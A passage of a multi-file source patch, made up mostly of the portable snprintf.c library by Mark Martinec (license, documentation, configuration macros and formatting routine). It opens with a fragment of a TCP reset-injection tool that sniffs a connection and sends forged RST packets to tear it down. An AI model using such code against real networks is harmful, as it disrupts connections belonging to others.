psp->saddr=tpk.ip.daddr; + psp->daddr=tpk.ip.saddr; + psp->zero=0; + psp->proto=IPPROTO_TCP; + psp->len=htons(20); + tpk2=tpk; + tpk2.ip.saddr=saddr; + tpk2.ip.daddr=daddr; + tpk2.tcp.source=src; + tpk2.tcp.dest=dest; + psp2->saddr=tpk.ip.saddr; + psp2->daddr=tpk.ip.daddr; + psp2->zero=0; + psp2->proto=IPPROTO_TCP; + psp2->len=htons(20); + + printf("RSTing :\t%s:%d > %s:%d\n", + argv[1], src, argv[3], dest); + while(read(sniff, &buffer, sizeof(buffer))) { + if(ip->saddr==daddr && + ip->daddr==saddr && + tcp->source==dest && + tcp->dest==src) { + tpk.tcp.seq=tcp->seq+htonl( + ntohs(ip->tot_len)-40); + tpk.tcp.ack_seq=tcp->ack_seq; + tpk2.tcp.seq=tcp->ack_seq; + tpk2.tcp.ack_seq=tcp->seq+htonl( + ntohs(ip->tot_len)-40); + memcpy(checkbuff+12, &tpk.tcp, 20); + tpk.tcp.check=ip_fast_csum( + (unsigned char *)checkbuff,32); + memcpy(checkbuff2+12, &tpk2.tcp, 20); + tpk2.tcp.check=ip_fast_csum( + (unsigned char *)checkbuff2,32); + for(; rst, April 1999. + * + * Copyright 1999, Mark Martinec. All rights reserved. + * + * TERMS AND CONDITIONS + * This program is free software; you can redistribute it and/or modify + * it under the terms of the "Frontier Artistic License" which comes + * with this Kit. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * See the Frontier Artistic License for more details. + * + * You should have received a copy of the Frontier Artistic License + * with this Kit in the file named LICENSE.txt . + * If not, I'll be glad to provide one. + * + * FEATURES + * - careful adherence to specs regarding flags, field width and precision; + * - good performance for large string handling (large format, large + * argument or large paddings). Performance is similar to system's sprintf + * and in several cases significantly better (make sure you compile with + * optimizations turned on, tell the compiler the code is strict ANSI + * if necessary to give it more freedom for optimizations); + * - return value semantics per ISO/IEC 9899:1999 ("ISO C99"); + * - written in standard ISO/ANSI C - requires an ANSI C compiler. + * + * SUPPORTED CONVERSION SPECIFIERS AND DATA TYPES + * + * This snprintf only supports the following conversion specifiers: + * s, c, d, u, o, x, X, p (and synonyms: i, D, U, O - see below) + * with flags: '-', '+', ' ', '0' and '#'. + * An asterisk is supported for field width as well as precision. + * + * Length modifiers 'h' (short int), 'l' (long int), + * and 'll' (long long int) are supported. + * NOTE: + * If macro SNPRINTF_LONGLONG_SUPPORT is not defined (default) the + * length modifier 'll' is recognized but treated the same as 'l', + * which may cause argument value truncation! Defining + * SNPRINTF_LONGLONG_SUPPORT requires that your system's sprintf also + * handles length modifier 'll'. long long int is a language extension + * which may not be portable. + * + * Conversion of numeric data (conversion specifiers d, u, o, x, X, p) + * with length modifiers (none or h, l, ll) is left to the system routine + * sprintf, but all handling of flags, field width and precision as well as + * c and s conversions is done very carefully by this portable routine. + * If a string precision (truncation) is specified (e.g. %.8s) it is + * guaranteed the string beyond the specified precision will not be referenced. + * + * Length modifiers h, l and ll are ignored for c and s conversions (data + * types wint_t and wchar_t are not supported). + * + * The following common synonyms for conversion characters are supported: + * - i is a synonym for d + * - D is a synonym for ld, explicit length modifiers are ignored + * - U is a synonym for lu, explicit length modifiers are ignored + * - O is a synonym for lo, explicit length modifiers are ignored + * The D, O and U conversion characters are nonstandard, they are supported + * for backward compatibility only, and should not be used for new code. + * + * The following is specifically NOT supported: + * - flag ' (thousands' grouping character) is recognized but ignored + * - numeric conversion specifiers: f, e, E, g, G and synonym F, + * as well as the new a and A conversion specifiers + * - length modifier 'L' (long double) and 'q' (quad - use 'll' instead) + * - wide character/string conversions: lc, ls, and nonstandard + * synonyms C and S + * - writeback of converted string length: conversion character n + * - the n$ specification for direct reference to n-th argument + * - locales + * + * It is permitted for str_m to be zero, and it is permitted to specify NULL + * pointer for resulting string argument if str_m is zero (as per ISO C99). + * + * The return value is the number of characters which would be generated + * for the given input, excluding the trailing null. If this value + * is greater or equal to str_m, not all characters from the result + * have been stored in str, output bytes beyond the (str_m-1) -th character + * are discarded. If str_m is greater than zero it is guaranteed + * the resulting string will be null-terminated. + * + * NOTE that this matches the ISO C99, OpenBSD, and GNU C library 2.1, + * but is different from some older and vendor implementations, + * and is also different from XPG, XSH5, SUSv2 specifications. + * For historical discussion on changes in the semantics and standards + * of snprintf see printf(3) man page in the Linux programmers manual. + * + * Routines asprintf and vasprintf return a pointer (in the ptr argument) + * to a buffer sufficiently large to hold the resulting string. This pointer + * should be passed to free(3) to release the allocated storage when it is + * no longer needed. If sufficient space cannot be allocated, these functions + * will return -1 and set ptr to be a NULL pointer. These two routines are a + * GNU C library extensions (glibc). + * + * Routines asnprintf and vasnprintf are similar to asprintf and vasprintf, + * yet, like snprintf and vsnprintf counterparts, will write at most str_m-1 + * characters into the allocated output string, the last character in the + * allocated buffer then gets the terminating null. If the formatted string + * length (the return value) is greater than or equal to the str_m argument, + * the resulting string was truncated and some of the formatted characters + * were discarded. These routines present a handy way to limit the amount + * of allocated memory to some sane value. + * + * AVAILABILITY + * http://www.ijs.si/software/snprintf/ + * + * REVISION HISTORY + * 1999-04 V0.9 Mark Martinec + * - initial version, some modifications after comparing printf + * man pages for Digital Unix 4.0, Solaris 2.6 and HPUX 10, + * and checking how Perl handles sprintf (differently!); + * 1999-04-09 V1.0 Mark Martinec + * - added main test program, fixed remaining inconsistencies, + * added optional (long long int) support; + * 1999-04-12 V1.1 Mark Martinec + * - support the 'p' conversion (pointer to void); + * - if a string precision is specified + * make sure the string beyond the specified precision + * will not be referenced (e.g. by strlen); + * 1999-04-13 V1.2 Mark Martinec + * - support synonyms %D=%ld, %U=%lu, %O=%lo; + * - speed up the case of long format string with few conversions; + * 1999-06-30 V1.3 Mark Martinec + * - fixed runaway loop (eventually crashing when str_l wraps + * beyond 2^31) while copying format string without + * conversion specifiers to a buffer that is too short + * (thanks to Edwin Young for + * spotting the problem); + * - added macros PORTABLE_SNPRINTF_VERSION_(MAJOR|MINOR) + * to snprintf.h + * 2000-02-14 V2.0 (never released) Mark Martinec + * - relaxed license terms: The Artistic License now applies. + * You may still apply the GNU GENERAL PUBLIC LICENSE + * as was distributed with previous versions, if you prefer; + * - changed REVISION HISTORY dates to use ISO 8601 date format; + * - added vsnprintf (patch also independently proposed by + * Caolan McNamara 2000-05-04, and Keith M Willenson 2000-06-01) + * 2000-06-27 V2.1 Mark Martinec + * - removed POSIX check for str_m<1; value 0 for str_m is + * allowed by ISO C99 (and GNU C library 2.1) - (pointed out + * on 2000-05-04 by Caolan McNamara, caolan@ csn dot ul dot ie). + * Besides relaxed license this change in standards adherence + * is the main reason to bump up the major version number; + * - added nonstandard routines asnprintf, vasnprintf, asprintf, + * vasprintf that dynamically allocate storage for the + * resulting string; these routines are not compiled by default, + * see comments where NEED_V?ASN?PRINTF macros are defined; + * - autoconf contributed by Caolan McNamara + * 2000-10-06 V2.2 Mark Martinec + * - BUG FIX: the %c conversion used a temporary variable + * that was no longer in scope when referenced, + * possibly causing incorrect resulting character; + * - BUG FIX: make precision and minimal field width unsigned + * to handle huge values (2^31 <= n < 2^32) correctly; + * also be more careful in the use of signed/unsigned/size_t + * internal variables - probably more careful than many + * vendor implementations, but there may still be a case + * where huge values of str_m, precision or minimal field + * could cause incorrect behaviour; + * - use separate variables for signed/unsigned arguments, + * and for short/int, long, and long long argument lengths + * to avoid possible incompatibilities on certain + * computer architectures. Also use separate variable + * arg_sign to hold sign of a numeric argument, + * to make code more transparent; + * - some fiddling with zero padding and "0x" to make it + * Linux compatible; + * - systematically use macros fast_memcpy and fast_memset + * instead of case-by-case hand optimization; determine some + * breakeven string lengths for different architectures; + * - terminology change: 'format' -> 'conversion specifier', + * 'C9x' -> 'ISO/IEC 9899:1999 ("ISO C99")', + * 'alternative form' -> 'alternate form', + * 'data type modifier' -> 'length modifier'; + * - several comments rephrased and new ones added; + * - make compiler not complain about 'credits' defined but + * not used; + */ + + +/* Define HAVE_SNPRINTF if your system already has snprintf and vsnprintf. + * + * If HAVE_SNPRINTF is defined this module will not produce code for + * snprintf and vsnprintf, unless PREFER_PORTABLE_SNPRINTF is defined as well, + * causing this portable version of snprintf to be called portable_snprintf + * (and portable_vsnprintf). + */ +/* #define HAVE_SNPRINTF */ + +/* Define PREFER_PORTABLE_SNPRINTF if your system does have snprintf and + * vsnprintf but you would prefer to use the portable routine(s) instead. + * In this case the portable routine is declared as portable_snprintf + * (and portable_vsnprintf) and a macro 'snprintf' (and 'vsnprintf') + * is defined to expand to 'portable_v?snprintf' - see file snprintf.h . + * Defining this macro is only useful if HAVE_SNPRINTF is also defined, + * but does does no harm if defined nevertheless. + */ +/* #define PREFER_PORTABLE_SNPRINTF */ + +/* Define SNPRINTF_LONGLONG_SUPPORT if you want to support + * data type (long long int) and length modifier 'll' (e.g. %lld). + * If undefined, 'll' is recognized but treated as a single 'l'. + * + * If the system's sprintf does not handle 'll' + * the SNPRINTF_LONGLONG_SUPPORT must not be defined! + * + * This is off by default as (long long int) is a language extension. + */ +/* #define SNPRINTF_LONGLONG_SUPPORT */ + +/* Define NEED_SNPRINTF_ONLY if you only need snprintf, and not vsnprintf. + * If NEED_SNPRINTF_ONLY is defined, the snprintf will be defined directly, + * otherwise both snprintf and vsnprintf routines will be defined + * and snprintf will be a simple wrapper around vsnprintf, at the expense + * of an extra procedure call. + */ +/* #define NEED_SNPRINTF_ONLY */ + +/* Define NEED_V?ASN?PRINTF macros if you need library extension + * routines asprintf, vasprintf, asnprintf, vasnprintf respectively, + * and your system library does not provide them. They are all small + * wrapper routines around portable_vsnprintf. Defining any of the four + * NEED_V?ASN?PRINTF macros automatically turns off NEED_SNPRINTF_ONLY + * and turns on PREFER_PORTABLE_SNPRINTF. + * + * Watch for name conflicts with the system library if these routines + * are already present there. + * + * NOTE: vasprintf and vasnprintf routines need va_copy() from stdarg.h, as + * specified by C99, to be able to traverse the same list of arguments twice. + * I don't know of any other standard and portable way of achieving the same. + * With some versions of gcc you may use __va_copy(). You might even get away + * with "ap2 = ap", in this case you must not call va_end(ap2) ! + * #define va_copy(ap2,ap) ap2 = ap + */ +/* #define NEED_ASPRINTF */ +/* #define NEED_ASNPRINTF */ +/* #define NEED_VASPRINTF */ +/* #define NEED_VASNPRINTF */ + + +/* Define the following macros if desired: + * SOLARIS_COMPATIBLE, SOLARIS_BUG_COMPATIBLE, + * HPUX_COMPATIBLE, HPUX_BUG_COMPATIBLE, LINUX_COMPATIBLE, + * DIGITAL_UNIX_COMPATIBLE, DIGITAL_UNIX_BUG_COMPATIBLE, + * PERL_COMPATIBLE, PERL_BUG_COMPATIBLE, + * + * - For portable applications it is best not to rely on peculiarities + * of a given implementation so it may be best not to define any + * of the macros that select compatibility and to avoid features + * that vary among the systems. + * + * - Selecting compatibility with more than one operating system + * is not strictly forbidden but is not recommended. + * + * - 'x'_BUG_COMPATIBLE implies 'x'_COMPATIBLE . + * + * - 'x'_COMPATIBLE refers to (and enables) a behaviour that is + * documented in a sprintf man page on a given operating system + * and actually adhered to by the system's sprintf (but not on + * most other operating systems). It may also refer to and enable + * a behaviour that is declared 'undefined' or 'implementation specific' + * in the man page but a given implementation behaves predictably + * in a certain way. + * + * - 'x'_BUG_COMPATIBLE refers to (and enables) a behaviour of system's sprintf + * that contradicts the sprintf man page on the same operating system. + * + * - I do not claim that the 'x'_COMPATIBLE and 'x'_BUG_COMPATIBLE + * conditionals take into account all idiosyncrasies of a particular + * implementation, there may be other incompatibilities. + */ + + + +/* ============================================= */ +/* NO USER SERVICABLE PARTS FOLLOWING THIS POINT */ +/* ============================================= */ + +#define PORTABLE_SNPRINTF_VERSION_MAJOR 2 +#define PORTABLE_SNPRINTF_VERSION_MINOR 2 + +#if defined(NEED_ASPRINTF) || defined(NEED_ASNPRINTF) || defined(NEED_VASPRINTF) || defined(NEED_VASNPRINTF) +# if defined(NEED_SNPRINTF_ONLY) +# undef NEED_SNPRINTF_ONLY +# endif +# if !defined(PREFER_PORTABLE_SNPRINTF) +# define PREFER_PORTABLE_SNPRINTF +# endif +#endif + +#if defined(SOLARIS_BUG_COMPATIBLE) && !defined(SOLARIS_COMPATIBLE) +#define SOLARIS_COMPATIBLE +#endif + +#if defined(HPUX_BUG_COMPATIBLE) && !defined(HPUX_COMPATIBLE) +#define HPUX_COMPATIBLE +#endif + +#if defined(DIGITAL_UNIX_BUG_COMPATIBLE) && !defined(DIGITAL_UNIX_COMPATIBLE) +#define DIGITAL_UNIX_COMPATIBLE +#endif + +#if defined(PERL_BUG_COMPATIBLE) && !defined(PERL_COMPATIBLE) +#define PERL_COMPATIBLE +#endif + +#if defined(LINUX_BUG_COMPATIBLE) && !defined(LINUX_COMPATIBLE) +#define LINUX_COMPATIBLE +#endif + +#include +#include +#include +#include +#include +#include +#include + +#ifdef isdigit +#undef isdigit +#endif +#define isdigit(c) ((c) >= '0' && (c) <= '9') + +/* For copying strings longer or equal to 'breakeven_point' + * it is more efficient to call memcpy() than to do it inline. + * The value depends mostly on the processor architecture, + * but also on the compiler and its optimization capabilities. + * The value is not critical, some small value greater than zero + * will be just fine if you don't care to squeeze every drop + * of performance out of the code. + * + * Small values favor memcpy, large values favor inline code. + */ +#if defined(__alpha__) || defined(__alpha) +# define breakeven_point 2 /* AXP (DEC Alpha) - gcc or cc or egcs */ +#endif +#if defined(__i386__) || defined(__i386) +# define breakeven_point 12 /* Intel Pentium/Linux - gcc 2.96 */ +#endif +#if defined(__hppa) +# define breakeven_point 10 /* HP-PA - gcc */ +#endif +#if defined(__sparc__) || defined(__sparc) +# define breakeven_point 33 /* Sun Sparc 5 - gcc 2.8.1 */ +#endif + +/* some other values of possible interest: */ +/* #define breakeven_point 8 */ /* VAX 4000 - vaxc */ +/* #define breakeven_point 19 */ /* VAX 4000 - gcc 2.7.0 */ + +#ifndef breakeven_point +# define breakeven_point 6 /* some reasonable one-size-fits-all value */ +#endif + +#define fast_memcpy(d,s,n) \ + { register size_t nn = (size_t)(n); \ + if (nn >= breakeven_point) memcpy((d), (s), nn); \ + else if (nn > 0) { /* proc call overhead is worth only for large strings*/\ + register char *dd; register const char *ss; \ + for (ss=(s), dd=(d); nn>0; nn--) *dd++ = *ss++; } } + +#define fast_memset(d,c,n) \ + { register size_t nn = (size_t)(n); \ + if (nn >= breakeven_point) memset((d), (int)(c), nn); \ + else if (nn > 0) { /* proc call overhead is worth only for large strings*/\ + register char *dd; register const int cc=(int)(c); \ + for (dd=(d); nn>0; nn--) *dd++ = cc; } } + +/* prototypes */ + +#if defined(NEED_ASPRINTF) +int asprintf (char **ptr, const char *fmt, /*args*/ ...); +#endif +#if defined(NEED_VASPRINTF) +int vasprintf (char **ptr, const char *fmt, va_list ap); +#endif +#if defined(NEED_ASNPRINTF) +int asnprintf (char **ptr, size_t str_m, const char *fmt, /*args*/ ...); +#endif +#if defined(NEED_VASNPRINTF) +int vasnprintf (char **ptr, size_t str_m, const char *fmt, va_list ap); +#endif + +#if defined(HAVE_SNPRINTF) +/* declare our portable snprintf routine under name portable_snprintf */ +/* declare our portable vsnprintf routine under name portable_vsnprintf */ +#else +/* declare our portable routines under names snprintf and vsnprintf */ +#define portable_snprintf snprintf +#if !defined(NEED_SNPRINTF_ONLY) +#define portable_vsnprintf vsnprintf +#endif +#endif + +#if !defined(HAVE_SNPRINTF) || defined(PREFER_PORTABLE_SNPRINTF) +int portable_snprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...); +#if !defined(NEED_SNPRINTF_ONLY) +int portable_vsnprintf(char *str, size_t str_m, const char *fmt, va_list ap); +#endif +#endif + +/* declarations */ + +static char credits[] = "\n\ +@(#)snprintf.c, v2.2: Mark Martinec, \n\ +@(#)snprintf.c, v2.2: Copyright 1999, Mark Martinec. Frontier Artistic License applies.\n\ +@(#)snprintf.c, v2.2: http://www.ijs.si/software/snprintf/\n"; + +#if defined(NEED_ASPRINTF) +int asprintf(char **ptr, const char *fmt, /*args*/ ...) { + va_list ap; + size_t str_m; + int str_l; + + *ptr = NULL; + va_start(ap, fmt); /* measure the required size */ + str_l = portable_vsnprintf(NULL, (size_t)0, fmt, ap); + va_end(ap); + assert(str_l >= 0); /* possible integer overflow if str_m > INT_MAX */ + *ptr = (char *) malloc(str_m = (size_t)str_l + 1); + if (*ptr == NULL) { errno = ENOMEM; str_l = -1; } + else { + int str_l2; + va_start(ap, fmt); + str_l2 = portable_vsnprintf(*ptr, str_m, fmt, ap); + va_end(ap); + assert(str_l2 == str_l); + } + return str_l; +} +#endif + +#if defined(NEED_VASPRINTF) +int vasprintf(char **ptr, const char *fmt, va_list ap) { + size_t str_m; + int str_l; + + *ptr = NULL; + { va_list ap2; + va_copy(ap2, ap); /* don't consume the original ap, we'll need it again */ + str_l = portable_vsnprintf(NULL, (size_t)0, fmt, ap2);/*get required size*/ + va_end(ap2); + } + assert(str_l >= 0); /* possible integer overflow if str_m > INT_MAX */ + *ptr = (char *) malloc(str_m = (size_t)str_l + 1); + if (*ptr == NULL) { errno = ENOMEM; str_l = -1; } + else { + int str_l2 = portable_vsnprintf(*ptr, str_m, fmt, ap); + assert(str_l2 == str_l); + } + return str_l; +} +#endif + +#if defined(NEED_ASNPRINTF) +int asnprintf (char **ptr, size_t str_m, const char *fmt, /*args*/ ...) { + va_list ap; + int str_l; + + *ptr = NULL; + va_start(ap, fmt); /* measure the required size */ + str_l = portable_vsnprintf(NULL, (size_t)0, fmt, ap); + va_end(ap); + assert(str_l >= 0); /* possible integer overflow if str_m > INT_MAX */ + if ((size_t)str_l + 1 < str_m) str_m = (size_t)str_l + 1; /* truncate */ + /* if str_m is 0, no buffer is allocated, just set *ptr to NULL */ + if (str_m == 0) { /* not interested in resulting string, just return size */ + } else { + *ptr = (char *) malloc(str_m); + if (*ptr == NULL) { errno = ENOMEM; str_l = -1; } + else { + int str_l2; + va_start(ap, fmt); + str_l2 = portable_vsnprintf(*ptr, str_m, fmt, ap); + va_end(ap); + assert(str_l2 == str_l); + } + } + return str_l; +} +#endif + +#if defined(NEED_VASNPRINTF) +int vasnprintf (char **ptr, size_t str_m, const char *fmt, va_list ap) { + int str_l; + + *ptr = NULL; + { va_list ap2; + va_copy(ap2, ap); /* don't consume the original ap, we'll need it again */ + str_l = portable_vsnprintf(NULL, (size_t)0, fmt, ap2);/*get required size*/ + va_end(ap2); + } + assert(str_l >= 0); /* possible integer overflow if str_m > INT_MAX */ + if ((size_t)str_l + 1 < str_m) str_m = (size_t)str_l + 1; /* truncate */ + /* if str_m is 0, no buffer is allocated, just set *ptr to NULL */ + if (str_m == 0) { /* not interested in resulting string, just return size */ + } else { + *ptr = (char *) malloc(str_m); + if (*ptr == NULL) { errno = ENOMEM; str_l = -1; } + else { + int str_l2 = portable_vsnprintf(*ptr, str_m, fmt, ap); + assert(str_l2 == str_l); + } + } + return str_l; +} +#endif + +/* + * If the system does have snprintf and the portable routine is not + * specifically required, this module produces no code for snprintf/vsnprintf. + */ +#if !defined(HAVE_SNPRINTF) || defined(PREFER_PORTABLE_SNPRINTF) + +#if !defined(NEED_SNPRINTF_ONLY) +int portable_snprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...) { + va_list ap; + int str_l; + + va_start(ap, fmt); + str_l = portable_vsnprintf(str, str_m, fmt, ap); + va_end(ap); + return str_l; +} +#endif + +#if defined(NEED_SNPRINTF_ONLY) +int portable_snprintf(char *str, size_t str_m, const char *fmt, /*args*/ ...) { +#else +int portable_vsnprintf(char *str, size_t str_m, const char *fmt, va_list ap) { +#endif + +#if defined(NEED_SNPRINTF_ONLY) + va_list ap; +#endif + size_t str_l = 0; + const char *p = fmt; + +/* In contrast with POSIX, the ISO C99 now says + * that str can be NULL and str_m can be 0. + * This is more useful than the old: if (str_m < 1) return -1; */ + +#if defined(NEED_SNPRINTF_ONLY) + va_start(ap, fmt); +#endif + if (!p) p = ""; + while (*p) { + if (*p != '%') { + /* if (str_l < str_m) str[str_l++] = *p++; -- this would be sufficient */ + /* but the following code achieves better performance for cases + * where format string is long and contains few conversions */ + const char *q = strchr(p+1,'%'); + size_t n = !q ? strlen(p) : (q-p); + if (str_l < str_m) { + size_t avail = str_m-str_l; + fast_memcpy(str+str_l, p, (n>avail?avail:n)); + } + p += n; str_l += n; + } else { + const char *starting_p; + size_t min_field_width = 0, precision = 0; + int zero_padding = 0, precision_specified = 0, justify_left = 0; + int alternate_form = 0, force_sign = 0; + int space_for_positive = 1; /* If both the ' ' and '+' flags appear, + the ' ' flag should be ignored. */ + char length_modifier = '\0'; /* allowed values: \0, h, l, L */ + char tmp[32];/* temporary buffer for simple numeric->string conversion */ + + const char *str_arg; /* string address in case of string argument */ + size_t str_arg_l; /* natural field width of arg without padding + and sign */ + unsigned char uchar_arg; + /* unsigned char argument value - only defined for c conversion. + N.B. standard explicitly states the char argument for + the c conversion is unsigned */ + + size_t number_of_zeros_to_pad = 0; + /* number of zeros to be inserted for numeric conversions + as required by the precision or minimal field width */ + + size_t zero_padding_insertion_ind = 0; + /* index into tmp where zero padding is to be inserted */ + + char fmt_spec = '\0'; + /* current conversion specifier character */ + + str_arg = credits;/* just to make compiler happy (defined but not used)*/ + str_arg = NULL; + starting_p = p; p++; /* skip '%' */ + /* parse flags */ + while (*p == '0' || *p == '-' || *p == '+' || + *p == ' ' || *p == '#' || *p == '\'') { + switch (*p) { + case '0': zero_padding = 1; break; + case '-': justify_left = 1; break; + case '+': force_sign = 1; space_for_positive = 0; break; + case ' ': force_sign = 1; + /* If both the ' ' and '+' flags appear, the ' ' flag should be ignored */ +#ifdef PERL_COMPATIBLE + /* ... but in Perl the last of ' ' and '+' applies */ + space_for_positive = 1; +#endif + break; + case '#': alternate_form = 1; break; + case '\'': break; + } + p++; + } + /* If the '0' and '-' flags both appear, the '0' flag should be ignored. */ + + /* parse field width */ + if (*p == '*') { + int j; + p++; j = va_arg(ap, int); + if (j >= 0) min_field_width = j; + else { min_field_width = -j; justify_left = 1; } + } else if (isdigit((int)(*p))) { + /* size_t could be wider than unsigned int; + make sure we treat argument like common implementations do */ + unsigned int uj = *p++ - '0'; + while (isdigit((int)(*p))) uj = 10*uj + (unsigned int)(*p++ - '0'); + min_field_width = uj; + } + /* parse precision */ + if (*p == '.') { + p++; precision_specified = 1; + if (*p == '*') { + int j = va_arg(ap, int); + p++; + if (j >= 0) precision = j; + else { + precision_specified = 0; precision = 0; + /* NOTE: + * Solaris 2.6 man page claims that in this case the precision + * should be set to 0. Digital Unix 4.0, HPUX 10 and BSD man page + * claim that this case should be treated as unspecified precision, + * which is what we do here. + */ + } + } else if (isdigit((int)(*p))) { + /* size_t could be wider than unsigned int; + make sure we treat argument like common implementations do */ + unsigned int uj = *p++ - '0'; + while (isdigit((int)(*p))) uj = 10*uj + (unsigned int)(*p++ - '0'); + precision = uj; + } + } + /* parse 'h', 'l' and 'll' length modifiers */ + if (*p == 'h' || *p == 'l') { + length_modifier = *p; p++; + if (length_modifier == 'l' && *p == 'l') { /* double l = long long */ +#ifdef SNPRINTF_LONGLONG_SUPPORT + length_modifier = '2'; /* double l encoded as '2' */ +#else + length_modifier = 'l'; /* treat it as a single 'l' */ +#endif + p++; + } + } + fmt_spec = *p; + /* common synonyms: */ + switch (fmt_spec) { + case 'i': fmt_spec = 'd'; break; + case 'D': fmt_spec = 'd'; length_modifier = 'l'; break; + case 'U': fmt_spec = 'u'; length_modifier = 'l'; break; + case 'O': fmt_spec = 'o'; length_modifier = 'l'; break; + default: break; + } + /* get parameter value, do initial processing */ + switch (fmt_spec) { + case '%': /* % behaves similar to 's' regarding flags and field widths */ + case 'c': /* c behaves similar to 's' regarding flags and field widths */ + case 's': + length_modifier = '\0'; /* wint_t and wchar_t not supported */ + /* the result of zero padding flag with non-numeric conversion specifier*/ + /* is undefined. Solaris and HPUX 10 does zero padding in this case, */ + /* Digital Unix and Linux does not. */ +#if !defined(SOLARIS_COMPATIBLE) && !defined(HPUX_COMPATIBLE) + zero_padding = 0; /* turn zero padding off for string conversions */ +#endif + str_arg_l = 1; + switch (fmt_spec) { + case '%': + str_arg = p; break; + case 'c': { + int j = va_arg(ap, int); + uchar_arg = (unsigned char) j; /* standard demands unsigned char */ + str_arg = (const char *) &uchar_arg; + break; + } + case 's': + str_arg = va_arg(ap, const char *); + if (!str_arg) str_arg_l = 0; + /* make sure not to address string beyond the specified precision !!! */ + else if (!precision_specified) str_arg_l = strlen(str_arg); + /* truncate string if necessary as requested by precision */ + else if (precision == 0) str_arg_l = 0; + else { + /* memchr on HP does not like n > 2^31 !!! */ + const char *q = memchr(str_arg, '\0', + precision <= 0x7fffffff ? precision : 0x7fffffff); + str_arg_l = !q ? precision : (q-str_arg); + } + break; + default: break; + } + break; + case 'd': case 'u': case 'o': case 'x': case 'X': case 'p': { + /* NOTE: the u, o, x, X and p conversion specifiers imply + the value is unsigned; d implies a signed value */ + + int arg_sign = 0; + /* 0 if numeric argument is zero (or if pointer is NULL for 'p'), + +1 if greater than zero (or nonzero for unsigned arguments), + -1 if negative (unsigned argument is never negative) */ + + int int_arg = 0; unsigned int uint_arg = 0; + /* only defined for length modifier h, or for no length modifiers */ + + long int long_arg = 0; unsigned long int ulong_arg = 0; + /* only defined for length modifier l */ + + void *ptr_arg = NULL; + /* pointer argument value -only defined for p conversion */ + +#ifdef SNPRINTF_LONGLONG_SUPPORT + long long int long_long_arg = 0; + unsigned long long int ulong_long_arg = 0; + /* only defined for length modifier ll */ +#endif + if (fmt_spec == 'p') { + /* HPUX 10: An l, h, ll or L before any other conversion character + * (other than d, i, u, o, x, or X) is ignored. + * Digital Unix: + * not specified, but seems to behave as HPUX does. + * Solaris: If an h, l, or L appears before any other conversion + * specifier (other than d, i, u, o, x, or X), the behavior + * is undefined. (Actually %hp converts only 16-bits of address + * and %llp treats address as 64-bit data which is incompatible + * with (void *) argument on a 32-bit system). + */ +#ifdef SOLARIS_COMPATIBLE +# ifdef SOLARIS_BUG_COMPATIBLE + /* keep length modifiers even if it represents 'll' */ +# else + if (length_modifier == '2') length_modifier = '\0'; +# endif +#else + length_modifier = '\0'; +#endif + ptr_arg = va_arg(ap, void *); + if (ptr_arg != NULL) arg_sign = 1; + } else if (fmt_spec == 'd') { /* signed */ + switch (length_modifier) { + case '\0': + case 'h': + /* It is non-portable to specify a second argument of char or short + * to va_arg, because arguments seen by the called function + * are not char or short. C converts char and short arguments + * to int before passing them to a function. + */ + int_arg = va_arg(ap, int); + if (int_arg > 0) arg_sign = 1; + else if (int_arg < 0) arg_sign = -1; + break; + case 'l': + long_arg = va_arg(ap, long int); + if (long_arg > 0) arg_sign = 1; + else if (long_arg < 0) arg_sign = -1; + break; +#ifdef SNPRINTF_LONGLONG_SUPPORT + case '2': + long_long_arg = va_arg(ap, long long int); + if (long_long_arg > 0) arg_sign = 1; + else if (long_long_arg < 0) arg_sign = -1; + break; +#endif + } + } else { /* unsigned */ + switch (length_modifier) { + case '\0': + case 'h': + uint_arg = va_arg(ap, unsigned int); + if (uint_arg) arg_sign = 1; + break; + case 'l': + ulong_arg = va_arg(ap, unsigned long int); + if (ulong_arg) arg_sign = 1; + break; +#ifdef SNPRINTF_LONGLONG_SUPPORT + case '2': + ulong_long_arg = va_arg(ap, unsigned long long int); + if (ulong_long_arg) arg_sign = 1; + break; +#endif + } + } + str_arg = tmp; str_arg_l = 0; + /* NOTE: + * For d, i, u, o, x, and X conversions, if precision is specified, + * the '0' flag should be ignored. This is so with Solaris 2.6, + * Digital UNIX 4.0, HPUX 10, Linux, FreeBSD, NetBSD; but not with Perl. + */ +#ifndef PERL_COMPATIBLE + if (precision_specified) zero_padding = 0; +#endif + if (fmt_spec == 'd') { + if (force_sign && arg_sign >= 0) + tmp[str_arg_l++] = space_for_positive ? ' ' : '+'; + /* leave negative numbers for sprintf to handle, + to avoid handling tricky cases like (short int)(-32768) */ +#ifdef LINUX_COMPATIBLE + } else if (fmt_spec == 'p' && force_sign && arg_sign > 0) { + tmp[str_arg_l++] = space_for_positive ? ' ' : '+'; +#endif + } else if (alternate_form) { + if (arg_sign != 0 && (fmt_spec == 'x' || fmt_spec == 'X') ) + { tmp[str_arg_l++] = '0'; tmp[str_arg_l++] = fmt_spec; } + /* alternate form should have no effect for p conversion, but ... */ +#ifdef HPUX_COMPATIBLE + else if (fmt_spec == 'p' + /* HPUX 10: for an alternate form of p conversion, + * a nonzero result is prefixed by 0x. */ +#ifndef HPUX_BUG_COMPATIBLE + /* Actually it uses 0x prefix even for a zero value. */ + && arg_sign != 0 +#endif + ) { tmp[str_arg_l++] = '0'; tmp[str_arg_l++] = 'x'; } +#endif + } + zero_padding_insertion_ind = str_arg_l; + if (!precision_specified) precision = 1; /* default precision is 1 */ + if (precision == 0 && arg_sign == 0 +#if defined(HPUX_BUG_COMPATIBLE) || defined(LINUX_COMPATIBLE) + && fmt_spec != 'p' + /* HPUX 10 man page claims: With conversion character p the result of + * converting a zero value with a precision of zero is a null string. + * Actually HP returns all zeroes, and Linux returns "(nil)". */ +#endif + ) { + /* converted to null string */ + /* When zero value is formatted with an explicit precision 0, + the resulting formatted string is empty (d, i, u, o, x, X, p). */ + } else { + char f[5]; int f_l = 0; + f[f_l++] = '%'; /* construct a simple format string for sprintf */ + if (!length_modifier) { } + else if (length_modifier=='2') { f[f_l++] = 'l'; f[f_l++] = 'l'; } + else f[f_l++] = length_modifier; + f[f_l++] = fmt_spec; f[f_l++] = '\0'; + if (fmt_spec == 'p') str_arg_l += sprintf(tmp+str_arg_l, f, ptr_arg); + else if (fmt_spec == 'd') { /* signed */ + switch (length_modifier) { + case '\0': + case 'h': str_arg_l+=sprintf(tmp+str_arg_l, f, int_arg); break; + case 'l': 